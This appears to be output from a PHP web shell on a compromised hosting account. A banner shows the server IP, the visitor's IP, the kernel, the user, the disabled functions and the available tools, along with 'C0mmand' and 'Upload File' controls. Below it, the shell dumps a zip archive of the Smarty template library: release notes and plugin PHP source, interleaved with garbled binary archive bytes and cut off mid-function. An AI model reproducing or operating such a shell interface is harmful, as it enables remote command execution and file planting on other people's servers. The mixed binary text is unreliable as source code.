Server IP : 213.176.29.180 / Your IP : 3.149.241.93 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 8.3.14 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/webtaragh/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
PK Ǥ$Zv�� � smarty/SMARTY_3.0_BC_NOTES.txtnu �[��� == Smarty2 backward compatibility == All Smarty2 specific API functions and deprecated functionality has been moved to the SmartyBC class. == {php} Tag == The {php} tag is no longer available in the standard Smarty calls. The use of {php} tags is deprecated and only available in the SmartyBC class. == {include_php} Tag == The {include_php} tag is no longer available in the standard Smarty calls. The use of {include_php} tags is deprecated and only available in the SmartyBC class. == php template resource == The support of the php template resource is removed. == $cache_dir, $compile_dir, $config_dir, $template_dir access == The mentioned properties can't be accessed directly any longer. You must use corresponding getter/setters like addConfigDir(), setConfigDir(), getConfigDir() == obsolete Smarty class properties == The following no longer used properties are removed: $allow_php_tag $allow_php_template $deprecation_noticesPK Ǥ$Z�[DL- L- smarty/SMARTY_3.1_NOTES.txtnu �[��� Smarty 3.1 Notes ================ Smarty 3.1 is a departure from 2.0 compatibility. Most notably, all backward compatibility has been moved to a separate class file named SmartyBC.class.php. If you require compatibility with 2.0, you will need to use this class. Some differences from 3.0 are also present. 3.1 begins the journey of requiring setters/getters for property access. So far this is only implemented on the five directory properties: template_dir, plugins_dir, configs_dir, compile_dir and cache_dir. These properties are now protected, it is required to use the setters/getters instead. That said, direct property access will still work, however slightly slower since they will now fall through __set() and __get() and in turn passed through the setter/getter methods. 3.2 will exhibit a full list of setter/getter methods for all (currently) public properties, so code-completion in your IDE will work as expected. There is absolutely no PHP allowed in templates any more. All deprecated features of Smarty 2.0 are gone. Again, use the SmartyBC class if you need any backward compatibility. Internal Changes Full UTF-8 Compatibility The plugins shipped with Smarty 3.1 have been rewritten to fully support UTF-8 strings if Multibyte String is available. Without MBString UTF-8 cannot be handled properly. For those rare cases where templates themselves have to juggle encodings, the new modifiers to_charset and from_charset may come in handy. Plugin API and Performance All Plugins (modifiers, functions, blocks, resources, default_template_handlers, etc) are now receiving the Smarty_Internal_Template instance, where they were supplied with the Smarty instance in Smarty 3.0. *. As The Smarty_Internal_Template mimics the behavior of Smarty, this API simplification should not require any changes to custom plugins. The plugins shipped with Smarty 3.1 have been rewritten for better performance. Most notably {html_select_date} and {html_select_time} have been improved vastly. Performance aside, plugins have also been reviewed and generalized in their API. {html_select_date} and {html_select_time} now share almost all available options. The escape modifier now knows the $double_encode option, which will prevent entities from being encoded again. The capitalize modifier now know the $lc_rest option, which makes sure all letters following a capital letter are lower-cased. The count_sentences modifier now accepts (.?!) as legitimate endings of a sentence - previously only (.) was accepted The new unescape modifier is there to reverse the effects of the escape modifier. This applies to the escape formats html, htmlall and entity. default_template_handler_func The invocation of $smarty->$default_template_handler_func had to be altered. Instead of a Smarty_Internal_Template, the fifth argument is now provided with the Smarty instance. New footprint: /** * Default Template Handler * * called when Smarty's file: resource is unable to load a requested file * * @param string $type resource type (e.g. "file", "string", "eval", "resource") * @param string $name resource name (e.g. "foo/bar.tpl") * @param string &$content template's content * @param integer &$modified template's modification time * @param Smarty $smarty Smarty instance * @return string|boolean path to file or boolean true if $content and $modified * have been filled, boolean false if no default template * could be loaded */ function default_template_handler_func($type, $name, &$content, &$modified, Smarty $smarty) { if (false) { // return corrected filepath return "/tmp/some/foobar.tpl"; } elseif (false) { // return a template directly $content = "the template source"; $modified = time(); return true; } else { // tell smarty that we failed return false; } } Stuff done to the compiler Many performance improvements have happened internally. One notable improvement is that all compiled templates are now handled as PHP functions. This speeds up repeated templates tremendously, as each one calls an (in-memory) PHP function instead of performing another file include/scan. New Features Template syntax {block}..{/block} The {block} tag has a new hide option flag. It does suppress the block content if no corresponding child block exists. EXAMPLE: parent.tpl {block name=body hide} child content "{$smarty.block.child}" was inserted {block} In the above example the whole block will be suppressed if no child block "body" is existing. {setfilter}..{/setfilter} The new {setfilter} block tag allows the definition of filters which run on variable output. SYNTAX: {setfilter filter1|filter2|filter3....} Smarty3 will lookup up matching filters in the following search order: 1. variable filter plugin in plugins_dir. 2. a valid modifier. A modifier specification will also accept additional parameter like filter2:'foo' 3. a PHP function {/setfilter} will turn previous filter setting off again. {setfilter} tags can be nested. EXAMPLE: {setfilter filter1} {$foo} {setfilter filter2} {$bar} {/setfilter} {$buh} {/setfilter} {$blar} In the above example filter1 will run on the output of $foo, filter2 on $bar, filter1 again on $buh and no filter on $blar. NOTES: - {$foo nofilter} will suppress the filters - These filters will run in addition to filters defined by registerFilter('variable',...), autoLoadFilter('variable',...) and defined default modifier. - {setfilter} will effect only the current template, not included subtemplates. Resource API Smarty 3.1 features a new approach to resource management. The Smarty_Resource API allows simple, yet powerful integration of custom resources for templates and configuration files. It offers simple functions for loading data from a custom resource (e.g. database) as well as define new template types adhering to the special non-compiling (e,g, plain php) and non-compile-caching (e.g. eval: resource type) resources. See demo/plugins/resource.mysql.php for an example custom database resource. Note that old-fashioned registration of callbacks for resource management has been deprecated but is still possible with SmartyBC. CacheResource API In line with the Resource API, the CacheResource API offers a more comfortable handling of output-cache data. With the Smarty_CacheResource_Custom accessing databases is made simple. With the introduction of Smarty_CacheResource_KeyValueStore the implementation of resources like memcache or APC became a no-brainer; simple hash-based storage systems are now supporting hierarchical output-caches. See demo/plugins/cacheresource.mysql.php for an example custom database CacheResource. See demo/plugins/cacheresource.memcache.php for an example custom memcache CacheResource using the KeyValueStore helper. Note that old-fashioned registration of $cache_handler is not possible anymore. As the functionality had not been ported to Smarty 3.0.x properly, it has been dropped from 3.1 completely. Locking facilities have been implemented to avoid concurrent cache generation. Enable cache locking by setting $smarty->cache_locking = true; Relative Paths in Templates (File-Resource) As of Smarty 3.1 {include file="../foo.tpl"} and {include file="./foo.tpl"} will resolve relative to the template they're in. Relative paths are available with {include file="..."} and {extends file="..."}. As $smarty->fetch('../foo.tpl') and $smarty->fetch('./foo.tpl') cannot be relative to a template, an exception is thrown. Addressing a specific $template_dir Smarty 3.1 introduces the $template_dir index notation. $smarty->fetch('[foo]bar.tpl') and {include file="[foo]bar.tpl"} require the template bar.tpl to be loaded from $template_dir['foo']; Smarty::setTemplateDir() and Smarty::addTemplateDir() offer ways to define indexes along with the actual directories. Mixing Resources in extends-Resource Taking the php extends: template resource one step further, it is now possible to mix resources within an extends: call like $smarty->fetch("extends:file:foo.tpl|db:bar.tpl"); To make eval: and string: resources available to the inheritance chain, eval:base64:TPL_STRING and eval:urlencode:TPL_STRING have been introduced. Supplying the base64 or urlencode flags will trigger decoding the TPL_STRING in with either base64_decode() or urldecode(). extends-Resource in template inheritance Template based inheritance may now inherit from php's extends: resource like {extends file="extends:foo.tpl|db:bar.tpl"}. New Smarty property escape_html $smarty->escape_html = true will autoescape all template variable output by calling htmlspecialchars({$output}, ENT_QUOTES, SMARTY_RESOURCE_CHAR_SET). NOTE: This is a compile time option. If you change the setting you must make sure that the templates get recompiled. New option at Smarty property compile_check The automatic recompilation of modified templates can now be controlled by the following settings: $smarty->compile_check = COMPILECHECK_OFF (false) - template files will not be checked $smarty->compile_check = COMPILECHECK_ON (true) - template files will always be checked $smarty->compile_check = COMPILECHECK_CACHEMISS - template files will be checked if caching is enabled and there is no existing cache file or it has expired Automatic recompilation on Smarty version change Templates will now be automatically recompiled on Smarty version changes to avoide incompatibillities in the compiled code. Compiled template checked against the current setting of the SMARTY_VERSION constant. default_config_handler_func() Analogous to the default_template_handler_func() default_config_handler_func() has been introduced. default_plugin_handler_func() An optional default_plugin_handler_func() can be defined which gets called by the compiler on tags which can't be resolved internally or by plugins. The default_plugin_handler() can map tags to plugins on the fly. New getters/setters The following setters/getters will be part of the official documentation, and will be strongly recommended. Direct property access will still work for the foreseeable future... it will be transparently routed through the setters/getters, and consequently a bit slower. array|string getTemplateDir( [string $index] ) replaces $smarty->template_dir; and $smarty->template_dir[$index]; Smarty setTemplateDir( array|string $path ) replaces $smarty->template_dir = "foo"; and $smarty->template_dir = array("foo", "bar"); Smarty addTemplateDir( array|string $path, [string $index]) replaces $smarty->template_dir[] = "bar"; and $smarty->template_dir[$index] = "bar"; array|string getConfigDir( [string $index] ) replaces $smarty->config_dir; and $smarty->config_dir[$index]; Smarty setConfigDir( array|string $path ) replaces $smarty->config_dir = "foo"; and $smarty->config_dir = array("foo", "bar"); Smarty addConfigDir( array|string $path, [string $index]) replaces $smarty->config_dir[] = "bar"; and $smarty->config_dir[$index] = "bar"; array getPluginsDir() replaces $smarty->plugins_dir; Smarty setPluginsDir( array|string $path ) replaces $smarty->plugins_dir = "foo"; Smarty addPluginsDir( array|string $path ) replaces $smarty->plugins_dir[] = "bar"; string getCompileDir() replaces $smarty->compile_dir; Smarty setCompileDir( string $path ) replaces $smarty->compile_dir = "foo"; string getCacheDir() replaces $smarty->cache_dir; Smarty setCacheDir( string $path ) replaces $smarty->cache_dir; PK Ǥ$ZAGm� � $ smarty/INHERITANCE_RELEASE_NOTES.txtnu �[��� 3.1.3" New tags for inheritance parent and chilD {parent} == {$smarty.block.parent} {child} == {$smarty.block.child} Both tags support the assign attribute like {child assign=foo} 3.1.31 New tags for inheritance parent and child {block_parent} == {$smarty.block.parent} {block_child} == {$smarty.block.child} Since 3.1.28 you can mix inheritance by extends resource with the {extends} tag. A template called by extends resource can extend a subtemplate or chain buy the {extends} tag. Since 3.1.31 this feature can be turned off by setting the new Smarty property Smarty::$extends_recursion to false. 3.1.28 Starting with version 3.1.28 template inheritance is no longer a compile time process. All {block} tag parent/child relations are resolved at run time. This does resolve all known existing restrictions (see below). The $smarty::$inheritance_merge_compiled_includes property has been removed. Any access to it is ignored. New features: Any code outside root {block} tags in child templates is now executed but any output will be ignored. {extends 'foo.tpl'} {$bar = 'on'} // assigns variable $bar seen in parent templates {block 'buh'}{/block} {extends 'foo.tpl'} {$bar} // the output of variable bar is ignored {block 'buh'}{/block} {block} tags can be dynamically en/disabled by conditions. {block 'root'} {if $foo} {block 'v1'} .... {/block} {else} {block 'v1'} .... {/block} {/if} {/block} {block} tags can have variable names. {block $foo} .... {/block} Starting with 3.1.28 you can mix inheritance by extends resource with the {extends} tag. A template called by extends resource can extend a subtemplate or chain buy the {extends} tag. NOTE There is a BC break. If you used the extends resource {extends} tags have been ignored. THE FOLLOWING RESTRICTIONS ARE NO LONGER EXISTING: In Smarty 3.1 template inheritance is a compile time process. All the extending of {block} tags is done at compile time and the parent and child templates are compiled in a single compiled template. {include} subtemplate could also {block} tags. Such subtemplate could not compiled by it's own because it could be used in other context where the {block} extended with a different result. For that reasion the compiled code of {include} subtemplates gets also merged in compiled inheritance template. Merging the code into a single compile template has some drawbacks. 1. You could not use variable file names in {include} Smarty would use the {include} of compilation time. 2. You could not use individual compile_id in {include} 3. Separate caching of subtemplate was not possible 4. Any change of the template directory structure between calls was not necessarily seen. Starting with 3.1.15 some of the above conditions got checked and resulted in an exception. It turned out that a couple of users did use some of above and now got exceptions. To resolve this starting with 3.1.16 there is a new configuration parameter $inheritance_merge_compiled_includes. For most backward compatibility its default setting is true. With this setting all {include} subtemplate will be merge into the compiled inheritance template, but the above cases could be rejected by exception. If $smarty->inheritance_merge_compiled_includes = false; {include} subtemplate will not be merged.You must now manually merge all {include} subtemplate which do contain {block} tags. This is done by setting the "inline" option. {include file='foo.bar' inline} 1. In case of a variable file name like {include file=$foo inline} you must use the variable in a compile_id $smarty->compile_id = $foo; 2. If you use individual compile_id in {include file='foo.tpl' compile_id=$bar inline} it must be used in the global compile_id as well $smarty->compile_id = $bar; 3. If call templates with different template_dir configurations and a parent could same named child template from different folders you must make the folder name part of the compile_id. PK Ǥ$ZӅ smarty/make-release.shnu �[��� #!/bin/bash printf 'Creating release %s\n' "$1" git checkout -b "release/$1" sed -i "s/## \\[Unreleased\\]/## \\[Unreleased\\]\\n\\n## \\[$1\\] - $(date +%Y-%m-%d)/" CHANGELOG.md sed -i "s/const SMARTY_VERSION = '[^']\+';/const SMARTY_VERSION = '$1';/" libs/Smarty.class.php git add CHANGELOG.md libs/Smarty.class.php git commit -m "version bump" git checkout master git pull git merge --no-ff "release/$1" git branch -d "release/$1" git tag -a "v$1" -m "Release $1" git push --follow-tags printf 'Done creating release %s\n' "$1" PK Ǥ$Z�*0 smarty/TODO.mdnu �[��� # Pre-release Todos PK Ǥ$Z��_�� � 4 smarty/libs/plugins/modifiercompiler.count_words.phpnu �[��� <?php /** * Smarty plugin * * @package Smarty * @subpackage PluginsModifierCompiler */ /** * Smarty count_words modifier plugin * Type: modifier * Name: count_words * Purpose: count the number of words in a text * * @link http://www.smarty.net/manual/en/language.modifier.count.words.php count_words (Smarty online manual) * @author Uwe Tews * * @param array $params parameters * * @return string with compiled code */ function smarty_modifiercompiler_count_words($params) { if (Smarty::$_MBSTRING) { // return 'preg_match_all(\'#[\w\pL]+#' . Smarty::$_UTF8_MODIFIER . '\', ' . $params[0] . ', $tmp)'; // expression taken from http://de.php.net/manual/en/function.str-word-count.php#85592 return 'preg_match_all(\'/\p{L}[\p{L}\p{Mn}\p{Pd}\\\'\x{2019}]*/' . Smarty::$_UTF8_MODIFIER . '\', ' . $params[ 0 ] . ', $tmp)'; } // no MBString fallback return 'str_word_count(' . $params[ 0 ] . ')'; } PK Ǥ$Z־�x% x% 0 smarty/libs/plugins/function.html_checkboxes.phpnu �[��� <?php /** * Smarty plugin * * @package Smarty * @subpackage PluginsFunction */ /** * Smarty {html_checkboxes} function plugin * File: function.html_checkboxes.php * Type: function * Name: html_checkboxes * Date: 24.Feb.2003 * Purpose: Prints out a list of checkbox input types * Examples: * * {html_checkboxes values=$ids output=$names} * {html_checkboxes values=$ids name='box' separator='<br>' output=$names} * {html_checkboxes values=$ids checked=$checked separator='<br>' output=$names} * * Params: * * - name (optional) - string default "checkbox" * - values (required) - array * - options (optional) - associative array * - checked (optional) - array default not set * - separator (optional) - ie <br> or * - output (optional) - the output next to each checkbox * - assign (optional) - assign the output as an array to this variable * - escape (optional) - escape the content (not value), defaults to true * * @link http://www.smarty.net/manual/en/language.function.html.checkboxes.php {html_checkboxes} * (Smarty online manual) * @author Christopher Kvarme <christopher.kvarme@flashjab.com> * @author credits to Monte Ohrt <monte at ohrt dot com> * @version 1.0 * * @param array $params parameters * @param Smarty_Internal_Template $template template object * * @return string * @uses smarty_function_escape_special_chars() * @throws \SmartyException */ function smarty_function_html_checkboxes($params, Smarty_Internal_Template $template) { $template->_checkPlugins( array( array( 'function' => 'smarty_function_escape_special_chars', 'file' => SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php' ) ) ); $name = 'checkbox'; $values = null; $options = null; $selected = array(); $separator = ''; $escape = true; $labels = true; $label_ids = false; $output = null; $extra = ''; foreach ($params as $_key => $_val) { switch ($_key) { case 'name': case 'separator': $$_key = (string)$_val; break; case 'escape': case 'labels': case 'label_ids': $$_key = (bool)$_val; break; case 'options': $$_key = (array)$_val; break; case 'values': case 'output': $$_key = array_values((array)$_val); break; case 'checked': case 'selected': if (is_array($_val)) { $selected = array(); foreach ($_val as $_sel) { if (is_object($_sel)) { if (method_exists($_sel, '__toString')) { $_sel = smarty_function_escape_special_chars((string)$_sel->__toString()); } else { trigger_error( 'html_checkboxes: selected attribute contains an object of class \'' . get_class($_sel) . '\' without __toString() method', E_USER_NOTICE ); continue; } } else { $_sel = smarty_function_escape_special_chars((string)$_sel); } $selected[ $_sel ] = true; } } elseif (is_object($_val)) { if (method_exists($_val, '__toString')) { $selected = smarty_function_escape_special_chars((string)$_val->__toString()); } else { trigger_error( 'html_checkboxes: selected attribute is an object of class \'' . get_class($_val) . '\' without __toString() method', E_USER_NOTICE ); } } else { $selected = smarty_function_escape_special_chars((string)$_val); } break; case 'checkboxes': trigger_error( 'html_checkboxes: the use of the "checkboxes" attribute is deprecated, use "options" instead', E_USER_WARNING ); $options = (array)$_val; break; case 'assign': break; case 'strict': break; case 'disabled': case 'readonly': if (!empty($params[ 'strict' ])) { if (!is_scalar($_val)) { trigger_error( "html_options: {$_key} attribute must be a scalar, only boolean true or string '{$_key}' will actually add the attribute", E_USER_NOTICE ); } if ($_val === true || $_val === $_key) { $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_key) . '"'; } break; } // omit break; to fall through! // no break default: if (!is_array($_val)) { $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_val) . '"'; } else { trigger_error("html_checkboxes: extra attribute '{$_key}' cannot be an array", E_USER_NOTICE); } break; } } if (!isset($options) && !isset($values)) { return ''; } /* raise error here? */ $_html_result = array(); if (isset($options)) { foreach ($options as $_key => $_val) { $_html_result[] = smarty_function_html_checkboxes_output( $name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape ); } } else { foreach ($values as $_i => $_key) { $_val = isset($output[ $_i ]) ? $output[ $_i ] : ''; $_html_result[] = smarty_function_html_checkboxes_output( $name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape ); } } if (!empty($params[ 'assign' ])) { $template->assign($params[ 'assign' ], $_html_result); } else { return implode("\n", $_html_result); } } /** * @param $name * @param $value * @param $output * @param $selected * @param $extra * @param $separator * @param $labels * @param $label_ids * @param bool $escape * * @return string */ function smarty_function_html_checkboxes_output( $name, $value, $output, $selected, $extra, $separator, $labels, $label_ids, $escape = true ) { $_output = ''; if (is_object($value)) { if (method_exists($value, '__toString')) { $value = (string)$value->__toString(); } else { trigger_error( 'html_options: value is an object of class \'' . get_class($value) . '\' without __toString() method', E_USER_NOTICE ); return ''; } } else { $value = (string)$value; } if (is_object($output)) { if (method_exists($output, '__toString')) { $output = (string)$output->__toString(); } else { trigger_error( 'html_options: output is an object of class \'' . get_class($output) . '\' without __toString() method', E_USER_NOTICE ); return ''; } } else { $output = (string)$output; } if ($labels) { if ($label_ids) { $_id = smarty_function_escape_special_chars( preg_replace( '![^\w\-\.]!' . Smarty::$_UTF8_MODIFIER, '_', $name . '_' . $value ) ); $_output .= '<label for="' . $_id . '">'; } else { $_output .= '<label>'; } } $name = smarty_function_escape_special_chars($name); $value = smarty_function_escape_special_chars($value); if ($escape) { $output = smarty_function_escape_special_chars($output); } $_output .= '<input type="checkbox" name="' . $name . '[]" value="' . $value . '"'; if ($labels && $label_ids) { $_output .= ' id="' . $_id . '"'; } if (is_array($selected)) { if (isset($selected[ $value ])) { $_output .= ' checked="checked"'; } } elseif ($value === $selected) { $_output .= ' checked="checked"'; } $_output .= $extra . ' />' . $output; if ($labels) { $_output .= '</label>'; } $_output .= $separator; return $_output; } PK Ǥ$ZG75� � , smarty/libs/plugins/function.html_radios.phpnu �[��� <?php /** * Smarty plugin * * @package Smarty * @subpackage PluginsFunction */ /** * Smarty {html_radios} function plugin * File: function.html_radios.php * Type: function * Name: html_radios * Date: 24.Feb.2003 * Purpose: Prints out a list of radio input types * Params: * * - name (optional) - string default "radio" * - values (required) - array * - options (required) - associative array * - checked (optional) - array default not set * - separator (optional) - ie <br> or * - output (optional) - the output next to each radio button * - assign (optional) - assign the output as an array to this variable * - escape (optional) - escape the content (not value), defaults to true * * Examples: * * {html_radios values=$ids output=$names} * {html_radios values=$ids name='box' separator='<br>' output=$names} * {html_radios values=$ids checked=$checked separator='<br>' output=$names} * * @link http://smarty.php.net/manual/en/language.function.html.radios.php {html_radios} * (Smarty online manual) * @author Christopher Kvarme <christopher.kvarme@flashjab.com> * @author credits to Monte Ohrt <monte at ohrt dot com> * @version 1.0 * * @param array $params parameters * @param Smarty_Internal_Template $template template object * * @return string * @uses smarty_function_escape_special_chars() * @throws \SmartyException */ function smarty_function_html_radios($params, Smarty_Internal_Template $template) { $template->_checkPlugins( array( array( 'function' => 'smarty_function_escape_special_chars', 'file' => SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php' ) ) ); $name = 'radio'; $values = null; $options = null; $selected = null; $separator = ''; $escape = true; $labels = true; $label_ids = false; $output = null; $extra = ''; foreach ($params as $_key => $_val) { switch ($_key) { case 'name': case 'separator': $$_key = (string)$_val; break; case 'checked': case 'selected': if (is_array($_val)) { trigger_error('html_radios: the "' . $_key . '" attribute cannot be an array', E_USER_WARNING); } elseif (is_object($_val)) { if (method_exists($_val, '__toString')) { $selected = smarty_function_escape_special_chars((string)$_val->__toString()); } else { trigger_error( 'html_radios: selected attribute is an object of class \'' . get_class($_val) . '\' without __toString() method', E_USER_NOTICE ); } } else { $selected = (string)$_val; } break; case 'escape': case 'labels': case 'label_ids': $$_key = (bool)$_val; break; case 'options': $$_key = (array)$_val; break; case 'values': case 'output': $$_key = array_values((array)$_val); break; case 'radios': trigger_error( 'html_radios: the use of the "radios" attribute is deprecated, use "options" instead', E_USER_WARNING ); $options = (array)$_val; break; case 'assign': break; case 'strict': break; case 'disabled': case 'readonly': if (!empty($params[ 'strict' ])) { if (!is_scalar($_val)) { trigger_error( "html_options: {$_key} attribute must be a scalar, only boolean true or string '$_key' will actually add the attribute", E_USER_NOTICE ); } if ($_val === true || $_val === $_key) { $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_key) . '"'; } break; } // omit break; to fall through! // no break default: if (!is_array($_val)) { $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_val) . '"'; } else { trigger_error("html_radios: extra attribute '{$_key}' cannot be an array", E_USER_NOTICE); } break; } } if (!isset($options) && !isset($values)) { /* raise error here? */ return ''; } $_html_result = array(); if (isset($options)) { foreach ($options as $_key => $_val) { $_html_result[] = smarty_function_html_radios_output( $name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape ); } } else { foreach ($values as $_i => $_key) { $_val = isset($output[ $_i ]) ? $output[ $_i ] : ''; $_html_result[] = smarty_function_html_radios_output( $name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape ); } } if (!empty($params[ 'assign' ])) { $template->assign($params[ 'assign' ], $_html_result); } else { return implode("\n", $_html_result); } } /** * @param $name * @param $value * @param $output * @param $selected * @param $extra * @param $separator * @param $labels * @param $label_ids * @param $escape * * @return string */ function smarty_function_html_radios_output( $name, $value, $output, $selected, $extra, $separator, $labels, $label_ids, $escape ) { $_output = ''; if (is_object($value)) { if (method_exists($value, '__toString')) { $value = (string)$value->__toString(); } else { trigger_error( 'html_options: value is an object of class \'' . get_class($value) . '\' without __toString() method', E_USER_NOTICE ); return ''; } } else { $value = (string)$value; } if (is_object($output)) { if (method_exists($output, '__toString')) { $output = (string)$output->__toString(); } else { trigger_error( 'html_options: output is an object of class \'' . get_class($output) . '\' without __toString() method', E_USER_NOTICE ); return ''; } } else { $output = (string)$output; } if ($labels) { if ($label_ids) { $_id = smarty_function_escape_special_chars( preg_replace( '![^\w\-\.]!' . Smarty::$_UTF8_MODIFIER, '_', $name . '_' . $value ) ); $_output .= '<label for="' . $_id . '">'; } else { $_output .= '<label>'; } } $name = smarty_function_escape_special_chars($name); $value = smarty_function_escape_special_chars($value); if ($escape) { $output = smarty_function_escape_special_chars($output); } $_output .= '<input type="radio" name="' . $name . '" value="' . $value . '"'; if ($labels && $label_ids) { $_output .= ' id="' . $_id . '"'; } if ($value === $selected) { $_output .= ' checked="checked"'; } $_output .= $extra . ' />' . $output; if ($labels) { $_output .= '</label>'; } $_output .= $separator; return $_output; } PK Ǥ$Z�po'8 '8 1 smarty/libs/plugins/function.html_select_time.phpnu �[��� <?php /** * Smarty plugin * * @package Smarty * @subpackage PluginsFunction */ /** * Smarty {html_select_time} function plugin * Type: function * Name: html_select_time * Purpose: Prints the dropdowns for time selection * * @link http://www.smarty.net/manual/en/language.function.html.select.time.php {html_select_time} * (Smarty online manual) * @author Roberto Berto <roberto@berto.net> * @author Monte Ohrt <monte AT ohrt DOT com> * * @param array $params parameters * * @param \Smarty_Internal_Template $template * * @return string * @uses smarty_make_timestamp() * @throws \SmartyException */ function smarty_function_html_select_time($params, Smarty_Internal_Template $template) { $template->_checkPlugins( array( array( 'function' => 'smarty_function_escape_special_chars', 'file' => SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php' ) ) ); $prefix = 'Time_'; $field_array = null; $field_separator = "\n"; $option_separator = "\n"; $time = null; $display_hours = true; $display_minutes = true; $display_seconds = true; $display_meridian = true; $hour_format = '%02d'; $hour_value_format = '%02d'; $minute_format = '%02d'; $minute_value_format = '%02d'; $second_format = '%02d'; $second_value_format = '%02d'; $hour_size = null; $minute_size = null; $second_size = null; $meridian_size = null; $all_empty = null; $hour_empty = null; $minute_empty = null; $second_empty = null; $meridian_empty = null; $all_id = null; $hour_id = null; $minute_id = null; $second_id = null; $meridian_id = null; $use_24_hours = true; $minute_interval = 1; $second_interval = 1; $extra_attrs = ''; $all_extra = null; $hour_extra = null; $minute_extra = null; $second_extra = null; $meridian_extra = null; foreach ($params as $_key => $_value) { switch ($_key) { case 'time': if (!is_array($_value) && $_value !== null) { $template->_checkPlugins( array( array( 'function' => 'smarty_make_timestamp', 'file' => SMARTY_PLUGINS_DIR . 'shared.make_timestamp.php' ) ) ); $time = smarty_make_timestamp($_value); } break; case 'prefix': case 'field_array': case 'field_separator': case 'option_separator': case 'all_extra': case 'hour_extra': case 'minute_extra': case 'second_extra': case 'meridian_extra': case 'all_empty': case 'hour_empty': case 'minute_empty': case 'second_empty': case 'meridian_empty': case 'all_id': case 'hour_id': case 'minute_id': case 'second_id': case 'meridian_id': case 'hour_format': case 'hour_value_format': case 'minute_format': case 'minute_value_format': case 'second_format': case 'second_value_format': $$_key = (string)$_value; break; case 'display_hours': case 'display_minutes': case 'display_seconds': case 'display_meridian': case 'use_24_hours': $$_key = (bool)$_value; break; case 'minute_interval': case 'second_interval': case 'hour_size': case 'minute_size': case 'second_size': case 'meridian_size': $$_key = (int)$_value; break; default: if (!is_array($_value)) { $extra_attrs .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_value) . '"'; } else { trigger_error("html_select_date: extra attribute '{$_key}' cannot be an array", E_USER_NOTICE); } break; } } if (isset($params[ 'time' ]) && is_array($params[ 'time' ])) { if (isset($params[ 'time' ][ $prefix . 'Hour' ])) { // $_REQUEST[$field_array] given foreach (array( 'H' => 'Hour', 'i' => 'Minute', 's' => 'Second' ) as $_elementKey => $_elementName) { $_variableName = '_' . strtolower($_elementName); $$_variableName = isset($params[ 'time' ][ $prefix . $_elementName ]) ? $params[ 'time' ][ $prefix . $_elementName ] : date($_elementKey); } $_meridian = isset($params[ 'time' ][ $prefix . 'Meridian' ]) ? (' ' . $params[ 'time' ][ $prefix . 'Meridian' ]) : ''; $time = strtotime($_hour . ':' . $_minute . ':' . $_second . $_meridian); list($_hour, $_minute, $_second) = $time = explode('-', date('H-i-s', $time)); } elseif (isset($params[ 'time' ][ $field_array ][ $prefix . 'Hour' ])) { // $_REQUEST given foreach (array( 'H' => 'Hour', 'i' => 'Minute', 's' => 'Second' ) as $_elementKey => $_elementName) { $_variableName = '_' . strtolower($_elementName); $$_variableName = isset($params[ 'time' ][ $field_array ][ $prefix . $_elementName ]) ? $params[ 'time' ][ $field_array ][ $prefix . $_elementName ] : date($_elementKey); } $_meridian = isset($params[ 'time' ][ $field_array ][ $prefix . 'Meridian' ]) ? (' ' . $params[ 'time' ][ $field_array ][ $prefix . 'Meridian' ]) : ''; $time = strtotime($_hour . ':' . $_minute . ':' . $_second . $_meridian); list($_hour, $_minute, $_second) = $time = explode('-', date('H-i-s', $time)); } else { // no date found, use NOW list($_year, $_month, $_day) = $time = explode('-', date('Y-m-d')); } } elseif ($time === null) { if (array_key_exists('time', $params)) { $_hour = $_minute = $_second = $time = null; } else { list($_hour, $_minute, $_second) = $time = explode('-', date('H-i-s')); } } else { list($_hour, $_minute, $_second) = $time = explode('-', date('H-i-s', $time)); } // generate hour <select> if ($display_hours) { $_html_hours = ''; $_extra = ''; $_name = $field_array ? ($field_array . '[' . $prefix . 'Hour]') : ($prefix . 'Hour'); if ($all_extra) { $_extra .= ' ' . $all_extra; } if ($hour_extra) { $_extra .= ' ' . $hour_extra; } $_html_hours = '<select name="' . $_name . '"'; if ($hour_id !== null || $all_id !== null) { $_html_hours .= ' id="' . smarty_function_escape_special_chars( $hour_id !== null ? ($hour_id ? $hour_id : $_name) : ($all_id ? ($all_id . $_name) : $_name) ) . '"'; } if ($hour_size) { $_html_hours .= ' size="' . $hour_size . '"'; } $_html_hours .= $_extra . $extra_attrs . '>' . $option_separator; if (isset($hour_empty) || isset($all_empty)) { $_html_hours .= '<option value="">' . (isset($hour_empty) ? $hour_empty : $all_empty) . '</option>' . $option_separator; } $start = $use_24_hours ? 0 : 1; $end = $use_24_hours ? 23 : 12; for ($i = $start; $i <= $end; $i++) { $_val = sprintf('%02d', $i); $_text = $hour_format === '%02d' ? $_val : sprintf($hour_format, $i); $_value = $hour_value_format === '%02d' ? $_val : sprintf($hour_value_format, $i); if (!$use_24_hours) { $_hour12 = $_hour == 0 ? 12 : ($_hour <= 12 ? $_hour : $_hour - 12); } $selected = $_hour !== null ? ($use_24_hours ? $_hour == $_val : $_hour12 == $_val) : null; $_html_hours .= '<option value="' . $_value . '"' . ($selected ? ' selected="selected"' : '') . '>' . $_text . '</option>' . $option_separator; } $_html_hours .= '</select>'; } // generate minute <select> if ($display_minutes) { $_html_minutes = ''; $_extra = ''; $_name = $field_array ? ($field_array . '[' . $prefix . 'Minute]') : ($prefix . 'Minute'); if ($all_extra) { $_extra .= ' ' . $all_extra; } if ($minute_extra) { $_extra .= ' ' . $minute_extra; } $_html_minutes = '<select name="' . $_name . '"'; if ($minute_id !== null || $all_id !== null) { $_html_minutes .= ' id="' . smarty_function_escape_special_chars( $minute_id !== null ? ($minute_id ? 